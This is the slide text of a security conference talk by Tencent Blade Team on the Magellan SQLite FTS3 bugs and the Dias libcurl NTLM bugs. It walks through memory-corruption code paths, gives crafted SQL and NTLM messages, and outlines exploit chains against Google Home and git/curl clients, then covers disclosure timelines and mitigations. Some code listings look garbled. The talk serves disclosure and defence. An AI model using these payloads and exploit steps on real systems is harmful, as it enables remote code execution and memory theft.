Exploring the New World: Remote Exploitation of SQLite and Curl

Wenxiang Qian, Yuxiang Li, Huiyu Wu
Tencent Blade Team
About Us

Wenxiang Qian (@leonwxqian)
Senior security researcher at Tencent Blade Team. Focus on browser security & IoT security
Interested in code auditing. Security book author, Speaker of DEF CON 26, CSS 2019

YuXiang Li (@Xbalien29)
Senior security researcher at Tencent Blade Team. Focus on mobile security and IoT security
Reported multiple vulnerabilities of Android. Speaker of HITB AMS 2018, XCON 2018, CSS 2019

HuiYu Wu (@NickyWu_)
Senior security researcher at Tencent Blade Team
Bug hunter, Winner of GeekPwn 2015. Speaker of DEF CON 26, HITB 2018 AMS and POC 2017
About Tencent Blade Team

• Founded by Tencent Security Platform Department in 2017

• Focus on security research in the areas of AIoT, mobile devices, cloud virtualization, blockchain, etc

• Reported 200+ vulnerabilities to vendors such as Google, Apple, Microsoft, Amazon

• Blog: https://blade.tencent.com
Agenda

• Introduction

• Fuzzing and Manual Audit SQLite & Curl

• Remote Exploitation of Magellan and Dias

• Conclusion
Introduction
Why SQLite and Curl?

• 3rd party libraries are always sweet.

• Almost every device had them installed, hadn’t they?

• Google Home or Google Chrome are using them too.
  • WebSQL makes remote attack via SQLite available in Chrome
  • Curl was born to be working remotely
Magellan
Remote exploit target: Google Home with Chrome

Dias
Remote exploit target: Apache + PHP / Git
Fuzzing and Manual Auditing SQLite & Curl
Previous Researches

• Michał Zalewski -- AFL: Finding bugs in SQLite, the easy way

• BH US-17 -- “Many Birds, One Stone: Exploiting a Single SQLite Vulnerability Across Multiple Software”
Fuzzing the SQLite

• Nothing interesting, but crashes of triggering asserts
• Accidentally noticed Magellan when debugging those crashes
• Raw testcase triggers the crash (beautified):

```
CREATE TABLE a01 (v01, v02, PRIMARY KEY (v01, v02))
CREATE VIRTUAL TABLE a02 USING FTS3(v01, v02, PRIMARY KEY(v01, v02)) -- this query is useless
CREATE TABLE a03 (v01, v02)
SELECT * FROM a01 WHERE (a01.v01, a01.v02) IN (SELECT v01, COUNT(1) v02 FROM a03)
```

• What’s those a02_content, a02_segdir, a02_segments?
Shadow Tables

- %_content
- %_segdir
- %_segments
- %_stat
- %_docsize for FTS3/4, % is replaced by table name

- Accessible (read, write, delete) like standard tables
- FTS3/4/5, RTREE use shadow tables to store content
Wait… Is that a Backing-store?

```
-- Virtual table declaration
CREATE VIRTUAL TABLE x USING fts4(a NUMBER, b TEXT, c);

-- Corresponding %content table declaration
CREATE TABLE %content(dcid INTEGER PRIMARY KEY, c0a, c1b, c2c);

CREATE TABLE %segments(
    blockid INTEGER PRIMARY KEY, -- B-tree node id
    block BLOB                -- B-tree node data
);

CREATE TABLE %segdir(
    level INTEGER,
    idx INTEGER,              -- Blockid of first node in %segments
    start_block INTEGER,      -- Blockid of last leaf node in %segments
    leaves_end_block INTEGER, -- Blockid of last node in %segments
    end_block INTEGER,        -- B-tree root node
    root BLOB,
    PRIMARY KEY(level, idx)
);

-- Only have %stat or %docsize when it is FTS4, not FTS3
CREATE TABLE %stat(
    id INTEGER PRIMARY KEY,
    value BLOB                -- Where N is again the number of user-defined columns
) ;

CREATE TABLE %docsize(
    docid INTEGER PRIMARY KEY,
    size BLOB -- number of tokens in the corresponding column of
    -- the associated row in the FTS table
) ;
```
BLOBs

• Representation of binary data:
  \[ \times '41414242' = 'AABB' \]

• In shadow tables …
  • They are serialized data structures (BTREEs…)
  • Wrong deserialization are often the causes of problems

```sql
CREATE TABLE %_segments(
    blockid INTEGER PRIMARY KEY, -- B-tree node id
    block BLOB -- B-tree node data
);
```
Nodes (BLOBs) Definitions

• Segment B-Tree Leaf Nodes

- Doclist Format
Find those Related Code Paths which are …

• … parsing or deserializing data from shadow tables
• … manipulating those BTREE nodes
• … playing with the risky APIs: memmove/memcpy

```c
sqlite3(0x5644): ** the _segments table in sorted order. This means that when the end
sqlite3(0x5615): ** node requires more than 2000.Nav bytes, it is flushed to _segments
sqlite3(0x5648): ** Leaf nodes are written into the _segments table in order. This
sqlite3(0x5607): ** vs seq or node b-trees in the _segments and _expiry tables.
sqlite3(0x5601): char *SegmentsTil; /* Size of _segments table */
sqlite3(0x5622): sqlite3_blob *Segments; /* Blob handle on _segments table */
sqlite3(0x5603): sqlite3_result_blob(db, QH, "DROP TABLE IF EXISTS WQ _segments", zrh.p->Arch);
sqlite3(0x569c): CREATE TABLE WQ _segments (blockid INTEGER PRIMARY KEY, block BLOB);
sqlite3(0x5614): /* contents, or too zero bytes. On, if the node is read from the _segments
sqlite3(0x5620): char *Segments = 0; /* Blob read from _segments table */
sqlite3(0x5610): ALTER TABLE WQ _segments RENAME TO WQ _segments;
sqlite3(0x5600): sqlite3_result_blob(db, QH, "DELETE FROM WQ _segments");
sqlite3(0x5601): DELETE FROM WQ _segments (blockid, block VALUES(0, 0));
sqlite3(0x5600): SELECT blockid FROM WQ _segments WHERE blockid+1 = 1; /*
sqlite3(0x5602): SELECT 1 FROM WQ _segments WHERE blockid+1 = 1; */
```

#BHUSA #BLACK HAT EVENTS
Overview of `Magellan`

• **CVE-2018-20346** `merge` of FTS3 caused memory corruption
• **CVE-2018-20506** `match` of FTS3 caused memory corruption
• **CVE-2018-20505** `merge` of FTS3 caused memory corruption(2)
• SQLite ticket: 1a84668dcfdebaf1
  Assertion fault due to malformed PRIMARY KEY

• Information and restrictions:
  [https://blade.tencent.com/magellan/](https://blade.tencent.com/magellan/)
CVE-2018-20346

- In `fts3AppendToNode`
- Trigger it by "merge": 
  \[ \text{INSERT INTO } X(X) \text{ VALUES ("merge=1,2")} \]
- Function tries to append a node to another
- Nodes are parsed from BLOBs
- The `memcpy` in LN310 seems vulnerable.
CVE-2018-20346

- `fts3TruncateNode` get the node being processed
- Node information is returned in `reader` object
- Easily bypass `fts3TermCmp` check by modifying the shadow table
- Control `aDoclist` and `nDoclist` in `reader`, to trigger the problem

```
int fts3AppendToNode(...){
    ... 
    memcpy(target, aDoclist, nDoclist);
    }
```
CVE-2018-20346

- In `nodeReaderNext`
- LN114: `iOff` is a “pointer” to BLOB
- LN120: Read compromised data, make `iOff` go beyond the current blob data.
- LN122: `nDoclist` is controllable.
- LN123: Got an `aDoclist` points to the last char of the blob after `nodeReaderNext` finishes.
- LN129: `assert` won’t stop the `iOff`
- Now we’ve controlled `nDoclist` and `aDoclist`!
CVE-2018-20346

• Back to `fts3AppendToNode`
• `aDocList` and `nDoclist` is controlled

```c
if ( aDoclist ) {
    pNode->n += sqlite3Fts3PutVarint(&pNode->a[pNode->n], nDoclist);
    memcpy(&pNode->a[pNode->n], aDoclist, nDoclist);
    pNode->n += nDoclist;
}
```

• **LN310:**
  • Heap buffer overflow, if `nDoclist > align(buflen(pNode->a))`
  • Raw memory leak (OOB Read), if `nDoclist < align(buflen(pNode->a))`
CVE-2018-20506

• In fts3ScanInteriorNode

• Trigger it by “match”:
  SELECT * FROM X WHERE A MATCH '1';

• Modify the shadow table, set a node in %_segdir to a non-root node.

• Modify blob of that node.

• Call `match` to trigger the exploit.
CVE-2018-20506

- LN169: (32-bit) `zCsr[nSuffix]` will often wraps the 32-bit address when `nSuffix` is very large, and pass the check.
  
  Eg: `zCsr(0xA000 0001) + nSuffix(0x7fff ffff) → 0x2000 0000`

- LN173: Big `nSuffix` + Small `nPrefix` → integer overflow. All of them are signed int.
  
  Eg: `0x7fffffff nSuffix + 0x1 nPrefix < 0x5 nAlloc`

- LN184: Large `nSuffix` = heap buffer overflow
  
  Or.. make `nPrefix` very large (with a small `nSuffix`), then write OOB in LN184.
CVE-2018-20506

• Many constrained conditions
• Considered to be hard to exploit
• But exploitable anyway

EXPLOITING THE MAGELLAN BUG ON 64-BIT CHROME DESKTOP

Author: Ki Chan Ahn

In December 2018, the Tencent Blade Team released an advisory for a bug they named “Magellan”, which affected all applications using sqlite versions prior to 2.5.3. In their public disclosure they state that they successfully exploited Google Home using this vulnerability. Despite several weeks having passed after the initial advisory, no public exploit was released. We were curious about how exploitable the bug was and whether it could be exploited on 64-bit desktop platforms. Therefore, we set out to create an exploit targeting Chrome on 64-bit Ubuntu.
CVE-2018-20505

• In `fts3SegReaderNext`
• A combination of 20346+20506
• `pReader` should be controlled first.
• LN703: `pNext` is reading OOB from an controlled `aDoclist` and `nDoclist`.
• LN759: Set `nSuffix` to larger than the remaining size of `pNext`. And a large `nPrefix` (optional).
• If ...
  • `nPrefix + nSuffix` integer overflows,
    LN766: not ensuring a large enough buffer,
    LN779: heap buffer overflow.
  • `nSuffix` did not integer overflow,
    LN779: leak raw memory after `pNext`.

```c
static int fts3SegReaderNext(  
    Fts3Table *,  
    Fts3SegReader *pReader,  
    int bInc)  
{  
    int rc;  
    char *pNext;  
    int nPrefix,  
    int nSuffix;  
    int nDoclist;  
    int i;  
    if (pReader->aNDoclist)  
        pNext = pReader->aNNode;  
    else  
        pNext = &pReader->aDocList[pReader->nNode];  
    if (pNext || pNext >= &pReader->aNode[pReader->nNode])  
        return FTS3_VARIANT_MAX;  
    assert (!fts3SegReaderIsPending(pReader));  
    rc = fts3SegReaderRequire(pReader, pNext, FTS3_VARIANT_MAX);  
    if (rc == SQLITE_OK) return rc;  
    if (nPrefix + nSuffix > &pReader->aTerm[pReader->nNode])  
        return FTS3_VARIANT_MAX;  
    if (nPrefix + nSuffix > nSuffix)  
        return FTS3_VARIANT_MAX;  
    nDoclist = &pReader->aTerm[pReader->nNode];  
    if (nPrefix + nSuffix > nPrefix)  
        return FTS3_VARIANT_MAX;  
    if (nPrefix + nSuffix > nSuffix)  
        return FTS3_VARIANT_MAX;  
    memcpy(&pReader->aTerm[nPrefix], pNext, nSuffix);  
    pReader->nTermAlloc = nNew;  
    pReader->Term = &pReader->aTerm[nNew];  
    if (rc == SQLITE_OK) return rc;  
}
```
Auditing the libcurl

• Target: Remote code execution

• Find BIG functions (which often have poor coding practice)
• Protocol that communicates with remote machine (attacker)

• Attack vector: The simpler, the better.
• Protocols fulfill our requirements:
  FTP, HTTPS, NTLM over HTTP, SMTP, POP3, …
NTLM over HTTP 6-stage “Handshake”

1. GET protected

2. 401 Unauthorized (WWW-Authenticate: NTLM)

3. GET protected (Authorization: NTLM Type 1 Message) 
   Type-1 C-->S

4. 401 Unauthorized (WWW-Authenticate: NTLM Type 2 Message) 
   Type-2 S-->C

5. GET protected (Authorization: NTLM Type 3 Message) 
   Type-3 C-->S

6. 200 OK protected
### Example of a Type-2 Message

Message decoded from Base64

Type-2 Message:
4e544c4d535350000020000000c000c00300000001028100
0123456789abcdeff000000000000000062052003c000000
44004f004d00440049004e00002000c0044004f004d004100
49004e00100c0053004500520056004500520004001400
64006f006d00610069006e002e0030006f006d003002200
7300650072007600650072002e0064006f006d0061006900
6e002e0030006f006d0000000000

<table>
<thead>
<tr>
<th>Byte</th>
<th>Value</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0-</td>
<td>0x4e544c4d535350000020000000c000c00300000001028100</td>
<td>Message Start</td>
</tr>
<tr>
<td>8-</td>
<td>0x20000000</td>
<td>Type 2 Indicator</td>
</tr>
<tr>
<td>12-</td>
<td>0xc0000000000000</td>
<td>Target Name Security Buffer:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Length: 12 bytes (0x0c00)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Allocated Space: 12 bytes (0xc000)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Offset: 48 bytes (0x30000000)</td>
</tr>
<tr>
<td>20-</td>
<td>0x01028100</td>
<td>Flags:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Negotiate Unicode (0x00000001)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Negotiate NTLM (0x00000020)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Target Type Domain (0x00001000)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Negotiate Target Info (0x00000000)</td>
</tr>
<tr>
<td>24-</td>
<td>0x0123456789abcdef</td>
<td>Challenge:</td>
</tr>
<tr>
<td>32-</td>
<td>0x0000000000000000</td>
<td>Context:</td>
</tr>
<tr>
<td>40-</td>
<td>0x6200000000000000</td>
<td>Target Information Security Buffer:</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Length: 8 bytes (0x6200)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Allocated Space: 8 bytes (0x6200)</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Offset: 60 bytes (0x30000000)</td>
</tr>
</tbody>
</table>
Overview of `Dias`

• **CVE-2018-16890**  NTLM Type-2 Message Information Leak
  
  Leaking at most 64KB client memory per request to attacker, “client version Heartbleed”.

• **CVE-2019-3822**  NTLM Type-3 Message Stack Buffer Overflow
  
  Allow attacker to leak client memory via Type-3 response, or performs remote code execution through stack or heap buffer overflow.

  “This is potentially in the worst case a remote code execution risk. I think this might be the worst security issue found in curl in a long time.” (Daniel’s blog)
CVE-2018-16890

• LN183: **Curl_read32_le**
  Set `target_info_offset` with a very large value.
  Eg: `offset=0xffff0001 (-65535)`
  `len=0xffffff (65535)`

• LN185: Integer overflow

• LN196: **memcpy** copies data OOB (backwards).
  Leaking at most 64KB data per request to attacker.
CVE-2019-3822

• LN519: ntlmbuf is a stack variant.

• LN590: Read ntrspelen from Type-2 response.

• LN779: Inexplicit signed/unsigned cast, integer overflow

• LN781: Stack buffer overflow.
CVE-2019-3822

• In `Curl_ntlm_core_mk_ntlmv2_resp`:

  • `#define NTLM_HMAC_MD5_LEN 16`
  • `#define NTLMv2_BLOB_LEN (44 − 16 + ntlm->target_info_len + 4)`

  • `ntresp_len` is set by `len`
CVE-2019-3822

• Back to `Curl_auth_create_ntlm_type3_message`:

  ```c
  if(size < (NTLM_BUISIZE - ntresplen)) {
    DEBUGASSERT(size
    memcpy(&ntlmbuf[
    size += ntresple
  }
  ```

• `size_t size`, `unsigned int ntresplen`, and **1024** (signed)

  ```c
  if(UNSIGNED < (SIGNED - UNSIGNED)) { ... }
  → Inexplicit type cast (from signed to unsigned)
  if(UNSIGNED < (UNSIGNED - UNSIGNED)) { ... }
  ```

• So, If `size` is 0x100, `ntresplen` is 1025 (>1024), the result will be…

  ```c
  if (0x100 < 0xFFFFFFF) { (PASSED) }
  ```
CVE-2019-3822

- Lots of stack variables following by `ntlmbuf`
- Stack buffer overflow happens in the middle of the function

Overwrite direction is related to compiler

MSVC
GCC

LN492 LN781 LN862

Heap/Stack operations x 5
Many function calls uses stack variables here...
CVE-2019-3822

• May cause a heap buffer overflow here*

```
/* Convert domain, user, and host to ASCII but leave the rest ss-is */
result = Curl_convert_to_network(data, (char *)&ntlmbuf[domoff],
                               size - domoff);
```

• Leak memory data to attacker (Base64ed later)

```
if(unicode)  
    unidecode(&ntlmbuf[size], host, hostlen / 2);
else  
    memcpy(&ntlmbuf[size], host, hostlen);
```

• Environment requirements
  • Affects libcurl built with non-OpenSSL builds or OpenSSL builds with MD4 present, NTLM must be enabled to trigger this.

* Based on the implementation of Curl_convert_to_network
Remote Exploitation of Magellan and Dias
Remote Exploitation of Magellan

- The specific scope of Magellan
  - Chrome or browsers developed based on Chromium
  - Android Apps that uses WebView
  - Smart devices using Chrome or Chromium
- Why Google Home
  - The top two in the global market share
  - It’s an IoT device and uses Chrome OS
- How to attack Google Home using Magellan?
Extending the Attack Surface of Google Home

• The Overview of CAST Protocol
  • Google Cast is designed for TV, movies, music, and more
  • Developers can develop the CAST APP and publish it to Application Store
  • Including sender (mobile devices or Chrome) and receiver (Google Home)
Extending the Attack Surface of Google Home

- Attack Surface of CAST Protocol
  - The CAST app can be any webpage
  - The app in the app store may be malicious
  - Sender can directly trigger CAST protocol

Remote Attack Surface:
Converting an attack on Google Home into an attack on a browser
Extending the Attack Surface of Google Home

- Detailed Steps: Extending the Remote Attack Surface
  
  - Register as a developer and post a malicious app
  - Remotely trigger Google Home to load malicious app
    - Inducing victims to visit malicious sender URLs via Chrome
    - Sending the cast protocol to launch APP in LAN
  
  - RCE in Google Home's renderer

```javascript
locaton.href="http://192.168.1.56/exp.html"
```
Exploiting the Magellan on Google Home

- Review the details of CVE-2018-20346

- Control pNode->a, pNode->n, aDoclist, nDoclist, via "update x_segdir set root=x'HEX'"

```c
if ( aDoclist ){
    pNode->n += sqlite3Fts3PutVarint(&pNode->a[pNode->n], nDoclist);
    memcpy(&pNode->a[pNode->n], aDoclist, nDoclist);
    pNode->n += nDoclist;
}
```

- pNode->a[]: Heap Fengshui
- pNode->n: Buffer offset
- aDoclist[]: Overflow or Leak Memory
- nDoclist: 256 (Varint)
Exploiting the Magellan on Google Home

• Available Function Pointer

  • simple_tokenizer is a structure on the heap

    ✓ create virtual table x using fts3 (a, b);

  • The tokenizer's callback looks interesting

\[
(simple\_tokenizer *)\ sqlite3\_malloc(\text{sizeof}(*t));
\]
Exploiting the Magellan on Google Home

• PC Hijacking
  • Operating FTS3 table after heap overflow
  • Hijacking before memory free

```c
static int fts3TruncateSegment( Fts3Table *p, sqlite3_int64 iAbsLevel, int ildx, const char *zTerm, int nTerm){
    ....
    if( rc==SQLITE_OK ){
        sqlite3_stmt *pChomp = 0;
        rc = fts3SqlStmt(p, SQL_CHOMP_SEGDIR, &pChomp, 0);
        if(rc==SQLITE_OK){
            ....
            rc = sqlite3_reset(pChomp);
            sqlite3_bind_null(pChomp, 2);
        }
    }

    sqlite3_free(root.a);
    sqlite3_free(block.a);
}
```

Using the SQL TRIGGER to perform fts3 operations before executing `SQL_CHOMP_SEGDIR`

```sql
CREATE TRIGGER hijack_trigger BEFORE UPDATE ON x_segdir
BEGIN
    INSERT INTO hijack values (1, x'1234');
END;
```
Exploiting the Magellan on Google Home

• Heap Fengshui
  • tmalloc as the heap management algorithm
  • Memory layout by operating fts3 tables
  • Hijacking PC via SQL TRIGGER

- Create multiple fts3 tables
- Drop the previous fts3 table
- Reassigning payload
- Triggers the operation of fts3
- Calling xOpen via SQL TRIGGER
- Hijacking PC
- R0 / R11 / PC can be controlled

Overwriting the simple_tokenizer
Exploiting the Magellan on Google Home

- Bypass ASLR
  - Try to adjust the `nDoclist`, `pNode->a` and leak the memory after heap
  - Leaking the address of `cast_shell` (For ROP gadgets)
  - Leaking the address of last heap (For heap spray)
Exploiting the Magellan on Google Home

- Heap Spray
- Insert into the table
- ROP
- Cast_shell’s gadget

RCE in Google Home’s renderer
Exploiting the Magellan on Google Home

- RCE in Google Home's renderer

Running shellcode to modify readonly "navigator.appName" to AAAA

Hijacking PC via controlled R0/R11
Exploiting the Magellan on Google Home

1. Launch APPID=1
2. Loading Leak.html
3. Launch APPID=2
4. Loading Exp.html

Cast Hack
UPNP forwarding
Visiting Sender URL

Attacker

Google Cast
APPID=1, Leak.html
APPID=2, Exp.html

Attacker
Remote Exploitation of Dias

• The threat model of the developer scenario
  • Developers may also be targets of the attack
  • Essential tools may have security issues and proxy servers may also be attacked
  • Network-related third-party libraries will be an attack surface
Remote Exploitation of Dias

• Review the details of Dias
  • Information leak and stack overflow will be triggered by NTLM Type-2 message
  • Client's authentication information is not important

• NTLM Authentication for CURL/libcurl
  • Curl supports NTLM by default
  • libcurl needs to enable CURLAUTH_NTLM or CURLAUTH_ANY

```c
if (curl_http_proxy)
  curl_easy_setopt(result, CURLOPT_PROXY, curl_http_proxy);
if (curl_http_proxy)
    curl_easy_setopt(result, CURLOPT_PROXYAUTH, CURLAUTH_ANY);
```
Remote Exploitation of Dias

• Detailed Scenarios (NTLM Authentication Request)
  • Developers use **git** to pull the repositories
    ✓ Malicious repositories address
  • Using **curl** or **libcurl** to access proxy servers
    ✓ Ntlm authentication server was compromised
  • Bad or backdoor **PHP webpage** on the server
    ✓ Hidden webshell and bad test cases
Remote Exploitation of Dias

• "Heartbleed" of the libcurl

• NTLM Type-2 message: `\nWWW-Authenticate: NTLM
TIRMTVNTUAACAAAAQUFQUBQQQAAIAzMzMzMzMwAAAAAAAP8AAA
AB///29vb2w=`

4E 54 4C 4D 53 50 00 02 00 00 00 41 41 41 41
41 41 41 00 00 00 80 00 CC CC CC CC CC CC CC
00 00 00 00 00 00 00 00 FF 00 FF 00 01 FF FF FF

memcpy(ntlm->target_info, &buffer[target_info_offset], target_info_len);
Remote Exploitation of Dias

• "Heartbleed" of the Client (Git and Curl)

• 127.0.0.1 was controlled by hacker

• Developer uses git and curl do things
  ✓ Git clone http://aaa:bbb@127.0.0.1:8080/1.git
  ✓ Curl --ntlm http://aaa:bbb@127.0.0.1:8080

• The leaked data will be responded to hacker
Remote Exploitation of Dias

• "Heartbleed" of the Server (Apache + PHP)
  • The "webshell" may be a time-bomb (It's not easy to detect)
  • Memory leaks or potential RCE will occur

Respond to hackers
Conclusion
Magellan

• Timeline

3rd Nov
Reported to SQLite

28th Nov
Fixed in Chromium
Defense In-Depth by SQLite

3rd Dec
Chrome 71.0.3578.80 released

21st Dec
CVEs assigned

1st Nov
Reported to Google

5th Nov
Fixed by SQLite 3.25.3

1st Dec
SQLite 3.26.0 w/
Defense In-Depth

20th Dec
$10337 Reward by Google

• Enhancements

• SQLite introduced defense in-depth flag SQLITE_DBCONFIG_DEFENSIVE, disallowing modify shadow tables from untrusted source.
  
  • SQLITE_DBCONFIG_DEFENSIVE (default OFF in sqlite, for backwards compatibility)
  
  • Good News: default ON in Chrome from commit a06c5187775536a68f035f16cdb8bc47b9bfad24

• Google refactored the structured fuzzer, found many vulnerabilities in SQLite.
Dias

- Timeline

- 31st Dec: Reported to Curl
- 2nd Jan: Confirmed by Curl
- 3rd Jan: 1 of 2 vulns fixed
- 16th Jan: 2 of 2 vulns fixed
- 30th Jan: CVEs assigned
- 6th Feb: Curl 7.64.0 released
- 8th Feb: Security page released
Responsible Disclosure

- Notified CNCERT to urge vendors disable the vulnerable FTS3 or WebSQL before the patch comes out (if they don't use these features).

- Notified security team of Apple, Intel, Facebook, Microsoft, etc. about how to fix the problem or how to mitigate the threats in some of their products.


SQLite

Available for: Windows 7 and later

Impact: A maliciously crafted SQL query may lead to arbitrary code execution

Description: Multiple memory corruption issues were addressed with improved input validation.

CVE-2018-20346: Tencent Blade Team
CVE-2018-20505: Tencent Blade Team
CVE-2018-20506: Tencent Blade Team
Security Advice

• Enhance your system with the newest available defense in-depth mechanism in time

• Keep your third-party libraries up-to-date

• Improve the quality of security auditing and testing of third-party library

• Introduce security specifications into development and testing
THANK YOU

https://blade.tencent.com